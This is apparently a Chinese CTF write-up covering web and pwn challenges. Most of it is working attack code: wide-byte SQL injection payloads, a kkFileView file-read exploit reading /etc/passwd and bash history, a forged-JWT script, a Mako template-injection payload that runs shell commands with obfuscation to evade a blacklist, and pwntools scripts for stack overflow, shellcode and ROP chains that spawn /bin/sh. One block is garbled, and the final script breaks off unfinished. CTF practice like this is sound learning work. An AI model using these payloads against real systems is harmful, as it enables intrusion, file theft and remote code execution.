&lt;p&gt;&lt;img src=&quot;./images/img-02.png&quot; alt=&quot;Figure 2&quot; /&gt;&lt;/p&gt;
&lt;p&gt;首先是尝试了常规的 &quot; &apos; \ 但都没有触发报错，这里我们换一个思路&lt;/p&gt;
&lt;p&gt;尝试一下宽字节注入，出现报错&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;id=1%df%27
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;这个payload就相当于 宽字节前缀 + 单引号，在 GBK 编码下 会被数据库解释成一个合法的宽字节字符&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;./images/img-03.png&quot; alt=&quot;Figure 3&quot; /&gt;&lt;/p&gt;
&lt;p&gt;继续测试&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;?id=1%df%27 or 1=1%23
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;img src=&quot;./images/img-04.png&quot; alt=&quot;Figure 4&quot; /&gt;&lt;/p&gt;
&lt;p&gt;返回了两行数据，说明注入确认成功。&lt;/p&gt;
&lt;p&gt;由于正常查询结果中页面回显了五个字段，因此可以直接尝试五列联合查询。&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;?id=-1%df&apos; union select 1,2,3,4,5%23
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;注入成功&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;./images/img-05.png&quot; alt=&quot;Figure 5&quot; /&gt;&lt;/p&gt;
&lt;p&gt;查数据库&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;?id=-1%df&apos; union select 1,database(),3,4,5%23
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;得到&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;ezsql
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;查表名&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;?id=-1%df&apos; union select 1,group_concat(table_name),3,4,5 from information_schema.tables where table_schema=database()%23
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;得到&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;users,flag_store
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;查列名，注意这里要用十六进制绕过引号&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;?id=-1%df&apos; union select 1,group_concat(column_name),3,4,5 from information_schema.columns where table_name=0x666c61675f73746f7265%23
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;得到&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;id,flag
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;最后读flag&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;?id=-1%df&apos; union select 1,flag,3,4,5 from flag_store%23
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;img src=&quot;./images/img-06.png&quot; alt=&quot;Figure 6&quot; /&gt;&lt;/p&gt;
&lt;p&gt;得到&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;flag{stlqpk43-cxn2-4vp-8dve-9vdtmpqho6ndq}
&lt;/code&gt;&lt;/pre&gt;
&lt;h2&gt;Northbridge Document Hub&lt;/h2&gt;
&lt;p&gt;进入后是一个登录界面&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;./images/img-07.png&quot; alt=&quot;Figure 7&quot; /&gt;&lt;/p&gt;
&lt;p&gt;查看前端源码，发现会加载 assets/js/portal.js&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;./images/img-08.png&quot; alt=&quot;Figure 8&quot; /&gt;&lt;/p&gt;
&lt;p&gt;看一下这个js&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;(function () {
    var bootstrap = {
        release: &quot;2026.03.01-r12&quot;,
        region: &quot;cn-sh2&quot;,
        auth: {
            mode: &quot;legacy-fallback&quot;,
            // researcher:Research#2026
            seed: &quot;cmVzZWFyY2hlcjpSZXNlYXJjaCMyMDI2&quot;
        },
        fileGateway: {
            path: &quot;/kkfileview/getCorsFile&quot;,
            queryKey: &quot;urlPath&quot;,
            node: &quot;legacy-parse-02&quot;
        }
    };

    window.NorthbridgePortal = {
        config: bootstrap,
        decodeLegacyCredential: function () {
            try {
                return atob(bootstrap.auth.seed);
            } catch (e) {
                return &quot;&quot;;
            }
        }
    };

    var form = document.querySelector(&quot;form[data-auth=&apos;portal&apos;]&quot;);
    if (form) {
        form.addEventListener(&quot;submit&quot;, function () {
            form.classList.add(&quot;is-submitting&quot;);
        });
    }
})();
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;有一个base64&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;cmVzZWFyY2hlcjpSZXNlYXJjaCMyMDI2
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;img src=&quot;./images/img-09.png&quot; alt=&quot;Figure 9&quot; /&gt;&lt;/p&gt;
&lt;p&gt;可以拿到密码去登录&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;researcher
Research#2026
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;登录后进入&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;./images/img-10.png&quot; alt=&quot;Figure 10&quot; /&gt;&lt;/p&gt;
&lt;p&gt;这里检索一下有没有 kkFileView 的 cve&lt;/p&gt;
&lt;p&gt;这里有一个 CVE-2021-43734&lt;/p&gt;
&lt;p&gt;https://blog.csdn.net/weixin_44304678/article/details/134320057&lt;/p&gt;
&lt;p&gt;可以构造poc&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;/kkfileview/getCorsFile?urlPath=file:///etc/passwd
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;但是如果直接发会失败，说明设了一个简单的waf&lt;/p&gt;
&lt;p&gt;根据源码猜测可能是要base64编码绕过，尝试进行一下编码&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;file:///etc/passwd
ZmlsZTovLy9ldGMvcGFzc3dk
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;img src=&quot;./images/img-11.png&quot; alt=&quot;Figure 11&quot; /&gt;&lt;/p&gt;
&lt;p&gt;实现绕过，可以任意文件读取&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;./images/img-12.png&quot; alt=&quot;Figure 12&quot; /&gt;&lt;/p&gt;
&lt;p&gt;这里我们去读的是&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;/root/.bash_history
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;也就是&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;ZmlsZTovLy9yb290Ly5iYXNoX2hpc3Rvcnk=
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;得到&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;cd /opt/kkfileview/bin
./startup.sh --cache.dir=/opt/kkfileview/cache/parsed
java -jar kkFileView.jar --cache.dir=/opt/kkfileview/cache/parsed --forceUpdatedCache=true
cp /opt/kkfileview/cache/parsed/q1_finance_report_2026.zip /tmp/q1_finance_report_2026.zip
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;我们直接去读&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;/opt/kkfileview/cache/parsed/q1_finance_report_2026.zip
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;解压后拿到flag&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;./images/img-13.png&quot; alt=&quot;Figure 13&quot; /&gt;&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;flag{fic9nvxj-lyyc-4zq-8iv6-rbjnqwyfjbbre}
&lt;/code&gt;&lt;/pre&gt;
&lt;h2&gt;华辰企业服务运营平台&lt;/h2&gt;
&lt;p&gt;进入后是一个运营平台，进入系统需要登录&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;./images/img-14.png&quot; alt=&quot;Figure 14&quot; /&gt;&lt;/p&gt;
&lt;p&gt;dirsearch扫一下，可以发现有一个 /actuator&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;./images/img-15.png&quot; alt=&quot;Figure 15&quot; /&gt;&lt;/p&gt;
&lt;p&gt;访问后暴露一些路由&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;./images/img-16.png&quot; alt=&quot;Figure 16&quot; /&gt;&lt;/p&gt;
&lt;p&gt;我们直接去读&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;/actuator/env
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;可以直接拿到flag&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;flag{ijap7qay-mqfe-4yo-8pk3-cchdrmx9ckloj}
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;img src=&quot;./images/img-17.png&quot; alt=&quot;Figure 17&quot; /&gt;&lt;/p&gt;
&lt;h2&gt;lit_reverse_my_web&lt;/h2&gt;
&lt;p&gt;题目给了一个exe附件，为什么web手还得会逆向（）&lt;/p&gt;
&lt;p&gt;扔进ida,分析main&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;./images/img-18.png&quot; alt=&quot;Figure 18&quot; /&gt;&lt;/p&gt;
&lt;p&gt;也就是 Go 源码大致长这样：&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;// internal/jwtsecret/jwtsecret.go
var encKey = []byte{
    0x28,0x17,0x2D,0x05, 0x68,0x6A,0x68,0x6C,
    0x05,0x36,0x33,0x2E, 0x39,0x2E,0x3C,0x05,
    0x30,0x2D,0x2E,0x05, 0x29,0x3F,0x39,0x28,
    0x3F,0x2E,0x05,0x31, 0x3F,0x23,0x7B,0x7B,
}

func Key() []byte {
    out := make([]byte, len(encKey))
    for i, b := range encKey {
        out[i] = b ^ 0x5A
    }
    return out
}
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;提取 encKey&lt;/p&gt;
&lt;p&gt;&lt;code&gt;reverseMyWeb\_internal\_jwtsecret\.encKey&lt;/code&gt; 实际是一个 slice header，位于 &lt;code&gt;\.data&lt;/code&gt; 段：&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;0xF68950: E0 E6 F0 00 00 00 00 00   // ptr  -&amp;gt; 0xF0E6E0
0xF68958: 20 00 00 00 00 00 00 00   // len  = 32
0xF68960: 20 00 00 00 00 00 00 00   // cap  = 32
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;读 &lt;code&gt;0xF0E6E0&lt;/code&gt; 的 32 字节：&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;28 17 2D 05 68 6A 68 6C 05 36 33 2E 39 2E 3C 05
30 2D 2E 05 29 3F 39 28 3F 2E 05 31 3F 23 7B 7B
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;逐字节 XOR &lt;code&gt;0x5A&lt;/code&gt;：&lt;/p&gt;
&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;&lt;code&gt;0x28&lt;/code&gt;&lt;/th&gt;
&lt;th&gt;&lt;code&gt;0x17&lt;/code&gt;&lt;/th&gt;
&lt;th&gt;&lt;code&gt;0x2D&lt;/code&gt;&lt;/th&gt;
&lt;th&gt;&lt;code&gt;0x05&lt;/code&gt;&lt;/th&gt;
&lt;th&gt;&lt;code&gt;0x68&lt;/code&gt;&lt;/th&gt;
&lt;th&gt;&lt;code&gt;0x6A&lt;/code&gt;&lt;/th&gt;
&lt;th&gt;&lt;code&gt;0x68&lt;/code&gt;&lt;/th&gt;
&lt;th&gt;&lt;code&gt;0x6C&lt;/code&gt;&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;r&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;&lt;code&gt;M&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;&lt;code&gt;w&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;&lt;code&gt;\_&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;&lt;code&gt;2&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;&lt;code&gt;0&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;&lt;code&gt;2&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;&lt;code&gt;6&lt;/code&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;p&gt;完整字符串：&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;rMw_2026_litctf_jwt_secret_key!!
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;main.signJWT：claims 结构&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;// main.(*app).signJWT @ 0x9492a0
v16.RegisteredClaims.Issuer.str    = &quot;reverseMyWeb&quot;;
v16.RegisteredClaims.Issuer.len    = 12;
v16.RegisteredClaims.Subject       = sub;
v16.RegisteredClaims.IssuedAt      = now (truncated);
v16.RegisteredClaims.ExpiresAt     = now + *24h*;
v16.Role                           = role;
SignedString(app.jwtKey)           // HS256
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;对应 Go 结构：&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;
```go
type claims struct {
    Role string `json:&quot;role&quot;`
    jwt.RegisteredClaims
}
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;签发时算法是 &lt;code&gt;SigningMethodHS256&lt;/code&gt;&lt;/p&gt;
&lt;p&gt;main.parseToken：鉴权来源&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;// main.(*app).parseToken @ 0x949660
hdr = req.Header.Get(&quot;Authorization&quot;)
if strings.ToLower(hdr).hasPrefix(&quot;bearer &quot;) {
    raw = strings.TrimSpace(hdr[7:])
} else if c, _ := req.Cookie(&quot;token&quot;); c != nil {
    raw = c.Value
}
ParseWithClaims(raw, &amp;amp;main.claims{}, func(t) (interface{}, error) {
    return app.jwtKey, nil
})
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;也就是 token 可以放在 &lt;code&gt;Authorization: Bearer \&amp;amp;lt;jwt\&amp;amp;gt;&lt;/code&gt; 或 &lt;code&gt;Cookie: token=\&amp;amp;lt;jwt\&amp;amp;gt;&lt;/code&gt;。&lt;/p&gt;
&lt;p&gt;main.handleFlag：访问控制&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;// main.(*app).handleFlag @ 0x9486a0
c = parseToken(req);
if (!c.ok)                      → 401 &quot;会话无效或已过期&quot;
if (c.role != &quot;admin&quot;           // 0x6e + &apos;admi&apos; (1768776801)
        || len(c.role) != 5)    → 403 &quot;您暂无此资源的访问权限&quot;

data = os.ReadFile(&quot;/flag&quot;);
if wantsJSON(req): JSON {&quot;content&quot;: strings.TrimSpace(data)}
else:              text/plain
&lt;/code&gt;&lt;/pre&gt;
&lt;blockquote&gt;
&lt;p&gt;&lt;code&gt;1768776801 == \&amp;amp;\#39;admi\&amp;amp;\#39;\(LE\)&lt;/code&gt;、紧跟 &lt;code&gt;\&amp;amp;\#39;n\&amp;amp;\#39;&lt;/code&gt;，长度 5 — 即字符串 &lt;code&gt;\&amp;amp;\#34;admin\&amp;amp;\#34;&lt;/code&gt;。&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;接下来访问靶机，访问后是一个工作台，可以登录&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;./images/img-19.png&quot; alt=&quot;Figure 19&quot; /&gt;&lt;/p&gt;
&lt;p&gt;先拿dirsearch扫，可以得到&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;GET  /
GET  /login
POST /login
GET  /register
POST /register
POST /logout
GET  /flag
GET  /static/*
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;img src=&quot;./images/img-20.png&quot; alt=&quot;Figure 20&quot; /&gt;&lt;/p&gt;
&lt;p&gt;我们直接用刚才拿到的key伪造JWT&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;*// header*
{&quot;alg&quot;:&quot;HS256&quot;,&quot;typ&quot;:&quot;JWT&quot;}

*// payload*
{&quot;role&quot;: &quot;admin&quot;,&quot;sub&quot;:  &quot;admin&quot;,&quot;iss&quot;:  &quot;reverseMyWeb&quot;,&quot;iat&quot;:  &amp;lt;now&amp;gt;,&quot;exp&quot;:  &amp;lt;now + 86400&amp;gt;}
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;签名 = &lt;code&gt;HMAC\_SHA256\(secret, base64url\(header\) \+ \&amp;amp;\#34;\.\&amp;amp;\#34; \+ base64url\(payload\)\)&lt;/code&gt;。&lt;/p&gt;
&lt;p&gt;解题脚本如下&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;import hmac
import hashlib
import base64
import json
import time
import urllib.request
import urllib.error

SECRET = b&quot;rMw_2026_litctf_jwt_secret_key!!&quot;
TARGET = &quot;http://challenge.cyclens.tech:31020&quot;

def b64u(data: bytes) -&amp;gt; str:
    return base64.urlsafe_b64encode(data).rstrip(b&quot;=&quot;).decode()

def forge_jwt(role: str = &quot;admin&quot;, sub: str = &quot;admin&quot;,
              iss: str = &quot;reverseMyWeb&quot;, ttl: int = 86400) -&amp;gt; str:
    header = {&quot;alg&quot;: &quot;HS256&quot;, &quot;typ&quot;: &quot;JWT&quot;}
    now = int(time.time())
    payload = {
        &quot;role&quot;: role,
        &quot;sub&quot;:  sub,
        &quot;iss&quot;:  iss,
        &quot;iat&quot;:  now,
        &quot;exp&quot;:  now + ttl,
    }
    h = b64u(json.dumps(header,  separators=(&quot;,&quot;, &quot;:&quot;)).encode())
    p = b64u(json.dumps(payload, separators=(&quot;,&quot;, &quot;:&quot;)).encode())
    sig = hmac.new(SECRET, f&quot;{h}.{p}&quot;.encode(), hashlib.sha256).digest()
    return f&quot;{h}.{p}.{b64u(sig)}&quot;

def get_flag(token: str) -&amp;gt; str:
    req = urllib.request.Request(
        TARGET + &quot;/flag&quot;,
        headers={
            &quot;Authorization&quot;: &quot;Bearer &quot; + token,
            &quot;Cookie&quot;:        &quot;token=&quot; + token,
            &quot;Accept&quot;:        &quot;application/json&quot;,
        },
    )
    with urllib.request.urlopen(req, timeout=20) as r:
        return r.read().decode(&quot;utf-8&quot;, errors=&quot;replace&quot;)

def decode_enc_key():
  
    enc_key = bytes.fromhex(
        &quot;28172D05686A686C0536332E392E3C05&quot;
        &quot;302D2E05293F39283F2E05313F237B7B&quot;
    )
    plain = bytes(b ^ 0x5A for b in enc_key)
    print(&quot;[*] encKey  :&quot;, enc_key.hex())
    print(&quot;[*] secret  :&quot;, plain.decode())
    assert plain == SECRET

if __name__ == &quot;__main__&quot;:
    decode_enc_key()

    token = forge_jwt()
    print(&quot;[*] forged JWT:&quot;)
    print(token)

    print(&quot;[*] requesting /flag ...&quot;)
    try:
        body = get_flag(token)
        print(&quot;[+] response:&quot;)
        print(body)
    except urllib.error.HTTPError as e:
        print(f&quot;[-] HTTP {e.code}&quot;)
        print(e.read().decode(errors=&quot;replace&quot;))

&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;运行拿到flag&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;./images/img-21.png&quot; alt=&quot;Figure 21&quot; /&gt;&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;flag{ivwqa2na-6enh-4yt-8bhr-3l5y8zkmygyx4}
&lt;/code&gt;&lt;/pre&gt;
&lt;h2&gt;lit_ezssti&lt;/h2&gt;
&lt;p&gt;进入后可以发现是一个模版渲染表单，那肯定就是打ssti了&lt;/p&gt;
&lt;p&gt;测试一下常见的payload，比如{{7*7}}等等，发现都没用，直到试了下面这个&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;%if 1%
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;触发报错&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;./images/img-22.png&quot; alt=&quot;Figure 22&quot; /&gt;&lt;/p&gt;
&lt;p&gt;根据这些字符串，可以推测是mako模版&lt;/p&gt;
&lt;p&gt;fuzz一下，可以得到以下黑名单&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;[ ]
=
.
&amp;lt;%=
${
flag
self.
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;在mako中，可以用 &amp;amp;lt;% ... %&amp;amp;gt; 执行python代码，但是没有回显，这里我们可以用&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;raise Exception
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;实现渲染异常，从而得到回显&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;&amp;lt;% from os import popen; raise Exception(getattr(popen(&quot;whoami&quot;), &quot;read&quot;)()) %&amp;gt;
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;img src=&quot;./images/img-23.png&quot; alt=&quot;Figure 23&quot; /&gt;&lt;/p&gt;
&lt;p&gt;然后用from os import popen绕过os.popen&lt;/p&gt;
&lt;p&gt;getattr(obj, &amp;amp;#34;read&amp;amp;#34;)() 绕过 .read()&lt;/p&gt;
&lt;p&gt;用chr拼接绕过flag&lt;/p&gt;
&lt;p&gt;payload如下&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;&amp;lt;% from os import popen; raise Exception(getattr(popen(chr(99)+chr(97)+chr(116)+chr(32)+chr(47)+chr(102)+chr(108)+chr(97)+chr(103)),chr(114)+chr(101)+chr(97)+chr(100))()) %&amp;gt;
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;拿到flag&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;./images/img-24.png&quot; alt=&quot;Figure 24&quot; /&gt;&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;flag{1wuiv7yx-mfmi-4uw-8usy-jhnfwupf1veau}
&lt;/code&gt;&lt;/pre&gt;
&lt;h1&gt;Pwn&lt;/h1&gt;
&lt;h2&gt;lit_ret2text32&lt;/h2&gt;
&lt;p&gt;简单签到题&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;./images/img-25.png&quot; alt=&quot;Figure 25&quot; /&gt;&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;./images/img-26.png&quot; alt=&quot;Figure 26&quot; /&gt;&lt;/p&gt;
&lt;p&gt;栈溢出有后门&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;from pwn import *
context(os=&apos;linux&apos;, log_level=&apos;debug&apos;)
p = process(&apos;./ret2text32&apos;)
#p=remote(&quot;challenge.cyclens.tech&quot;,30425)
elf=ELF(&quot;./ret2text32&quot;)

bk=0x8049213
payload=b&apos;a&apos;*0x3c+p64(bk)
p.sendlineafter(&quot;Input: &quot;,payload)

p.interactive()
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;img src=&quot;./images/img-27.png&quot; alt=&quot;Figure 27&quot; /&gt;&lt;/p&gt;
&lt;h2&gt;lit_ret2shellcode&lt;/h2&gt;
&lt;p&gt;&lt;img src=&quot;./images/img-28.png&quot; alt=&quot;Figure 28&quot; /&gt;&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;./images/img-29.png&quot; alt=&quot;Figure 29&quot; /&gt;&lt;/p&gt;
&lt;p&gt;栈段可执行，又泄露出了栈地址&lt;/p&gt;
&lt;p&gt;直接向栈内写入shellcode，然后控制执行流到buf&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;from pwn import *
context(os=&apos;linux&apos;, log_level=&apos;debug&apos;,arch=&apos;amd64&apos;)
#p = process(&apos;./ret2shellcode&apos;)
p=remote(&quot;challenge.cyclens.tech&quot;,31103)
elf=ELF(&quot;./ret2shellcode&quot;)

p.recvuntil(b&apos;0x&apos;)
buf=int(p.recv(12),16)
log.info(&quot;buf:&quot;+hex(buf))

shellcode=asm(shellcraft.sh())
payload=shellcode.ljust(0x78,b&apos;a&apos;)
payload+=p64(buf)
p.sendlineafter(&quot;Leave your mark on the stack: &quot;,payload)

p.interactive()
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;img src=&quot;./images/img-30.png&quot; alt=&quot;Figure 30&quot; /&gt;&lt;/p&gt;
&lt;h2&gt;lit_integer_overflow&lt;/h2&gt;
&lt;p&gt;&lt;img src=&quot;./images/img-31.png&quot; alt=&quot;Figure 31&quot; /&gt;&lt;/p&gt;
&lt;p&gt;有后门backdoor，有栈溢出，只不过需要绕过对size的检测&lt;/p&gt;
&lt;p&gt;注意到size比较时是unsigned int类型，整数溢出，输入-1&lt;/p&gt;
&lt;p&gt;-1&amp;amp;lt;0x40，绕过检测，同时负数转化为0xff……溢出空间足够大&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;from pwn import *
context(os=&apos;linux&apos;, log_level=&apos;debug&apos;,arch=&apos;amd64&apos;)
p = process(&apos;./integer_overflow&apos;)
#p=remote(&quot;challenge.cyclens.tech&quot;,31104)
elf=ELF(&quot;./integer_overflow&quot;)

bk=0x4011D8 
p.sendlineafter(&quot;(0-63): &quot;,b&apos;-1&apos;)
payload=b&apos;a&apos;*0x48+p64(bk)
p.sendline(payload)

p.interactive()
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;img src=&quot;./images/img-32.png&quot; alt=&quot;Figure 32&quot; /&gt;&lt;/p&gt;
&lt;h2&gt;lit_ropchain&lt;/h2&gt;
&lt;p&gt;&lt;img src=&quot;./images/img-33.png&quot; alt=&quot;Figure 33&quot; /&gt;&lt;/p&gt;
&lt;p&gt;rop链，gadget都给出来了，有system没有binsh&lt;/p&gt;
&lt;p&gt;先向bss段read一个/bin/sh\x00&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;read(0,bss,0x10)
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;然后打出&lt;/p&gt;
&lt;p&gt;system(&amp;amp;#34;/bin/sh&amp;amp;#34;)&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;from pwn import *
context(os=&apos;linux&apos;, log_level=&apos;debug&apos;,arch=&apos;amd64&apos;)
#p = process(&apos;./ropchain&apos;)
p=remote(&quot;challenge.cyclens.tech&quot;,31002)
elf=ELF(&quot;./ropchain&quot;)

pop_rdi=0x401166
pop_rsi=0x40116B
pop_rdx=0x401170
bss = elf.bss() + 0x500
read=elf.plt[&quot;read&quot;]
system=elf.plt[&quot;system&quot;]

payload = b&apos;a&apos;*0x48
payload += p64(pop_rdi)
payload += p64(0)
payload += p64(pop_rsi)
payload += p64(bss)
payload += p64(pop_rdx)
payload += p64(0x10)
payload += p64(read)
payload += p64(pop_rdi)
payload += p64(bss)
payload += p64(system)
p.sendlineafter(&quot;Input: &quot;,payload)

p.sendline(b&apos;/bin/sh&apos;)

p.interactive()
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;img src=&quot;./images/img-34.png&quot; alt=&quot;Figure 34&quot; /&gt;&lt;/p&gt;
&lt;h2&gt;lit_ret2syscall32&lt;/h2&gt;
&lt;p&gt;&lt;img src=&quot;./images/img-35.png&quot; alt=&quot;Figure 35&quot; /&gt;&lt;/p&gt;
&lt;p&gt;gadget很全，栈溢出空间足够，唯一一个问题是没有可用的/bin/sh&lt;/p&gt;
&lt;p&gt;先调用read函数向bss段写binsh，然后返回到vuln&lt;/p&gt;
&lt;p&gt;然后用syscall调用execve(&amp;amp;#34;/bin/sh&amp;amp;#34;,0,0)&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;from pwn import *
context(os=&apos;linux&apos;, log_level=&apos;debug&apos;)
#p = process(&apos;./ret2syscall32&apos;)
p=remote(&quot;challenge.cyclens.tech&quot;,30689)
elf=ELF(&quot;./ret2syscall32&quot;)

pop_eax=0x80491A6 
pop_ebx=0x80491AB
pop_ecx_ebx=0x80491B0
pop_edx=0x80491B6
int80=0x80491C1
bss=elf.bss()+0x200
#gdb.attach(p)
payload = flat(
    b&quot;A&quot; * 0x4c,
    elf.plt[&quot;read&quot;],
    elf.sym[&quot;vuln&quot;],    
    0,
    bss,
    10,
)

p.sendlineafter(&quot;Input: &quot;,payload)
pause()
p.sendline(b&apos;/bin/sh\x00&apos;)

payload = flat(
    b&quot;A&quot; * 0x4c,
    pop_eax,
    0xb,
    pop_ecx_ebx, 0, bss,
    pop_edx, 0,
    int80
)
p.sendlineafter(&quot;Input: &quot;,payload)

p.interactive()lit_ret2libc
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;img src=&quot;./images/img-36.png&quot; alt=&quot;Figure 36&quot; /&gt;&lt;/p&gt;
&lt;h2&gt;lit_ret2libc&lt;/h2&gt;
&lt;p&gt;&lt;img src=&quot;./images/img-37.png&quot; alt=&quot;Figure 37&quot; /&gt;&lt;/p&gt;
&lt;p&gt;leak可以泄露地址，把got表当作参数传入即可泄露libc&lt;/p&gt;
&lt;p&gt;这里出了问题，跳回到vuln失败&lt;/p&gt;
&lt;p&gt;不懂怎么回事，只能用其他方法打了&lt;/p&gt;
&lt;p&gt;把 saved rbp 伪造成 .bss+0x40，然后跳到 vuln 里现成的 read 准备位置。这样程序会把第二阶段 payload 直接读进 .bss，最后用函数尾的 leave; ret 把栈迁移过去。&lt;/p&gt;
&lt;p&gt;第二阶段&lt;/p&gt;
&lt;p&gt;在 .bss 里放一个 &amp;amp;#34;/bin/sh\x00&amp;amp;#34; 和 argv = {&amp;amp;#34;/bin/sh&amp;amp;#34;, NULL}，然后 ROP 调：&lt;/p&gt;
&lt;p&gt;&lt;code&gt;execve\(\&amp;amp;\#34;/bin/sh\&amp;amp;\#34;, argv, NULL\)&lt;/code&gt;&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;from pwn import *
context(os=&apos;linux&apos;, log_level=&apos;debug&apos;,arch=&apos;amd64&apos;)
#p = process(&apos;./ret2libc&apos;)
p=remote(&quot;challenge.cyclens.tech&quot;,31534)
elf=ELF(&quot;./ret2libc&quot;)
libc=ELF(&quot;./libc_remote.so&quot;)

ret=0x40101A
pop_rdi=0x4011B7
leak=0x4011C3
read_setup=0x40121B
bss=elf.bss()+0x800
fake_rbp=bss+0x40

